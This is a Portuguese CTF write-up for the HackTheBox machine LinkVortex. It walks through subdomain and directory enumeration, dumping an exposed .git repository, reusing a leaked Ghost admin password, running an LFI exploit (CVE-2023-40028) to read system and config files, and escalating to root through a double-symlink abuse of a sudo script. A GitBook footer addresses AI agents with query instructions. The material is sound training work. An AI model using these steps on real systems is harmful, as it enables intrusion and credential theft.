> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/linkvortex-hackthebox-writeup.md). # Writeup do HackTheBox LinkVortex Writeup da máquina Easy Linux LinkVortex do HackTheBox cobrindo enumeração de subdomínios, extração de informações do diretório .git (Git-Dumper), vazamento de informações, exploração LFI (Ghost), com práticas {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Enumeração de subdomínios * Extraindo informações do diretório .git (Git-Dumper) * Vazamento de Informações * Exploração de LFI (Ghost) * Abusando dos privilégios do sudo via script (duplo link simbólico) {% endhint %} ## Reconhecimento **Configuração do ambiente de trabalho:** Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

**Verificação de conectividade da VPN** Verifique a conectividade da VPN para garantir uma comunicação estável com a máquina-alvo.

**Configuração do arquivo /etc/hosts** Adicionamos o endereço IP do alvo ao nosso `/etc/hosts` arquivo para facilitar as resoluções DNS locais.

**Descoberta de Portas Abertas com Nmap:** Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 linkvortex.htb -oG allPorts ```

**Análise das Portas Abertas com extractPorts:** Use a função extractPorts para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência (22.80)

### **Porta 80**

**Varredura de versão das portas com Nmap:** Use o Nmap para escanear as versões dos serviços e salvar a saída no arquivo "targeted": ```bash nmap -sCV -p22,80 linkvortex.htb -oN targeted ```

### **Enumeração de diretórios** ```bash wfuzz -c -t 100 --hc=404,301 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://linkvortex.htb/FUZZ/ ```

### Painel de administração - Ghost

### **Descoberta de um subdomínio** Procuramos subdomínios associados a `linkvortex.htb` usando gobuster. ```bash gobuster vhost -u http://linkvortex.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 ``` Encontramos o subdomínio `dev.linkvortex.htb`. Aqui está o comando para realizar essa busca:

Depois que o subdomínio é encontrado, nós o adicionamos ao `/etc/hosts` arquivo para facilitar o acesso:

#### **Buscando diretórios no novo subdomínio** Procuramos diretórios existentes no `dev.linkvortex.htb` subdomínio usando `gobuster`: ```bash gobuster dir -u http://dev.linkvortex.htb/ -w /usr/share/SecLists/Discovery/Web-Content/common.txt -t 100 ``` Descobrimos o `.git` diretório, o que pode indicar um repositório Git exposto.

### **Extração de arquivos com Git-Dumper** Usamos a ferramenta `git-dumper` para extrair arquivos do `.git` diretório e analisá-los: ```git git-dumper http://dev.linkvortex.htb/.git .git ```

Isso nos permite obter arquivos sensíveis, incluindo um arquivo de teste localizado em `ghost/core/test/regression/api/admin/authentication.test.js`, onde encontramos uma senha:

**Senha encontrada:** ```parser OctopiFociPilfer45 ```

### **Entrar no painel de administração do Ghost** Com essa senha, tentamos nos conectar ao painel de administração do Ghost usando o `endereço de e-mail admin@linkvortex.htb` : * **E-mail** : `endereço de e-mail admin@linkvortex.htb` * **Senha**: `OctopiFociPilfer45`

## Vulnerabilidade Ghost - LFI {% embed url="" %}

> Durante a varredura de portas, identificamos que a versão do Ghost usada (v5.58) é vulnerável a uma falha de LFI (Local File Inclusion), identificada como CVE-2023-40028. Para explorar essa vulnerabilidade, baixamos o script de exploit e modificamos a URL de destino para apontar para nossa instância do Ghost.

Aqui está o comando para executar o exploit: ```bash ./LFI.sh -u admin@linkvortex.htb -p OctopiFociPilfer45 ``` Então obtemos uma shell e podemos exibir arquivos, como `/etc/passwd`.

**Acesso a uma rota interna via LFI** No `.git` diretório, encontramos um arquivo Docker que nos fornece uma rota interna para acessar uma sessão: `/var/lib/ghost/config.production.json`.

Usamos LFI para listar arquivos e encontrar as credenciais de um usuário chamado Bob:

**Credenciais do Bob:** * **Usuário**: `bob@linkvortex.htb` * **Senha**: `fibber-talented-worth` Conectamo-nos à máquina-alvo via SSH usando as credenciais do Bob: ### Flag user.txt :) Usamos a senha `fibber-talented-worth` para fazer login e acessar o arquivo `user.txt`, onde encontramos a flag.

## Flag root.txt :) ### SUDO - Clean/\_synLink.sh Estamos procurando uma vulnerabilidade que permita escalada de privilégios. Descobrimos um arquivo com permissões SUID.

#### **Análise do script de limpeza de links simbólicos** > Analisamos um script chamado `clean_symlink.sh`, que verifica se o arquivo fornecido como argumento é um link simbólico apontando para um arquivo `.png` . Se o link simbólico apontar para um arquivo crítico, o script o exclui. Caso contrário, ele move o link simbólico para o `/var/quarantined/` diretório. Se a variável de ambiente `CHECK_CONTENT` estiver definida como `true`, o script tenta ler o conteúdo do arquivo. Aqui está o comando para criar os links simbólicos necessários para a exploração: ```bash ln -s /root/root.txt flag.txt ln -s /home/bob/flag.txt flag.png ``` Em seguida, executamos o script com o seguinte comando para obter a flag root: ```bash sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/flag.png ``` Assim, obtemos a `root.txt` flag.

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/linkvortex-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.